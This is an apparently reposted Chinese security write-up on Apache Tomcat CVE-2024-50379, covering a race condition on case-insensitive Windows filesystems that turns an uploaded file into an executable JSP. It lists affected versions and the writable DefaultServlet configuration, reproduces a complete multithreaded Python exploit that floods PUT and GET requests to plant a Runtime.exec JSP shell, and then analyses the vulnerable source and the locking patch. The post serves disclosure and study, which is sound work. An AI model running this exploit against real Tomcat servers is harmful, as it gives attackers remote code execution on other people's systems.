漏洞描述
如果默认 Servlet 启用了写权限(即readonly
初始化参数被设置为非默认值false
),在不区分大小写的文件系统中,同一文件的并发读取和上传操作可能会绕过 Tomcat 的大小写敏感性检查,导致上传的文件被视为 JSP 文件,从而引发远程代码执行漏洞。
漏洞条件
-
Windows操作系统:对文件扩展名大小写不敏感
-
版本:
11.0.0-M1 <= Apache Tomcat < 11.0.210.1.0-M1 <= Apache Tomcat < 10.1.349.0.0.M1 <= Apache Tomcat < 9.0.98
-
DefaultServlet需要有以下配置:开启写权限
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <!-- 开启写权限 --> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
漏洞验证
-
环境
tomcat: 9.0.96jre: 1.8system: Windows 11
-
exploit
import requestsimport threadingimport sysSHELL_CONTENT = '''<% Runtime.getRuntime().exec("calc.exe");%>'''# 使用 Event 控制线程终止stop_event = threading.Event()def upload_shell(url): session = requests.Session() # 每个线程使用独立的 Session print("[+] Uploading JSP shell...") while not stop_event.is_set(): try: response = session.put(url, data=SHELL_CONTENT, timeout=3) # if response.status_code not in (201, 204): # print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: if not stop_event.is_set(): print(f"[-] Upload error: {str(e)}")def accessShell(url): session = requests.Session() # 每个线程使用独立的 Session (session线程不安全) while not stop_event.is_set(): try: response = session.get(url, timeout=3) if response.status_code == 200: print("[+] Access Success") stop_event.set() # 触发所有线程停止 return except Exception as e: if not stop_event.is_set(): print(f"[-] Access error: {str(e)}")if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python Poc.py <base_url> <shell_name>") sys.exit(1) base_url = sys.argv[1] shell_name = sys.argv[2] upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}" access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}" print(f"upload_url: {upload_url}") print(f"access_url: {access_url}") # 创建上传线程池 upload_threads = [] for _ in range(20): t = threading.Thread(target=upload_shell, args=(upload_url,)) t.daemon = True # 设置为守护线程 upload_threads.append(t) t.start() # 创建访问线程池 access_threads = [] for _ in range(5000): t = threading.Thread(target=accessShell, args=(access_url,)) t.daemon = True # 设置为守护线程 access_threads.append(t) t.start() # 主线程循环检查停止事件 try: while not stop_event.is_set(): pass except KeyboardInterrupt: stop_event.set() print("n[!] Stopping all threads due to keyboard interrupt.") # 等待所有线程完成 for thread in upload_threads + access_threads: thread.join() print("n[!] All threads stopped.")
-
复现过程:
脚本执行期间可以观察到,在 D:Program Files (x86)apache-tomcat-9.0.96apache-tomcat-9.0.96webappsROOT
中,shell.JSP的大小会在1KB和0KB反复变化 -
重新开启tomcat:
注意这时会弹出一个另一个弹窗
不要关闭这个弹窗,不然
http://localhost:8080/
无法访问 -
执行脚本: python CVE-2024-50379.py http://localhost:8080 shell.jsp
执行成功!
漏洞分析
org.apache.catalina.webresources.DirResourceSet#getResource
@Override public WebResource getResource(String path) { checkPath(path); String webAppMount = getWebAppMount(); WebResourceRoot root = getRoot(); if (path.startsWith(webAppMount)) { //获取资源 File f = file(path.substring(webAppMount.length()), false); if (f == null) { return new EmptyResource(root, path); } if (!f.exists()) { return new EmptyResource(root, path, f); } if (f.isDirectory() && path.charAt(path.length() - 1) != '/') { path = path + '/'; } return new FileResource(root, path, f, isReadOnly(), getManifest()); } else { return new EmptyResource(root, path); } }
org.apache.catalina.webresources.AbstractFileResourceSet#file
protected final File file(String name, boolean mustExist) { if (name.equals("/")) { name = ""; } File file = new File(fileBase, name); //一些处理 ... // Check that this file is located under the WebResourceSet's base String canPath = null; try { //漏洞点 canPath = file.getCanonicalPath(); } catch (IOException e) { // Ignore } if (canPath == null || !canPath.startsWith(canonicalBase)) { return null; } String absPath = normalize(file.getAbsolutePath()); ... //必须绕过才能利用成功 if (!canPath.equals(absPath)) { if (!canPath.equalsIgnoreCase(absPath)) { logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath); } return null; } //必须进入这里才能利用成功 return file; }
当file
所指向的文件不存在,或该文件正在被写(还没有落地)时,file.getCanonicalPath()
返回的路径与构造file对象时传入的路径(absPath)一致,文件落地后file.getCanonicalPath()
获取到的就是文件实际规范路径(xxx/shell.JSP),这也是需要条件竞争的原因
漏洞修复
相关补丁:
-
Fix inconsistent resource metadata with current GET and PUT/DELETE · apache/tomcat@43b507e
-
https://github.com/apache/tomcat/commit/631500b0c9b2a2a2abb707e3de2e10a5936e5d41
其大致思路是用锁机制,对PUT shell.JSP
和GET shell.jsp
进行同步,使得当进行PUT shell.JSP
时,GET shell.jsp
会被阻塞在临界区外,其中临界资源是 xxx/shell.jsp(等同于xxx/shell.JSP) 所指向的文件
原文始发于微信公众号(船山信安):Tomcat CVE-2024-50379 条件竞争导致命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论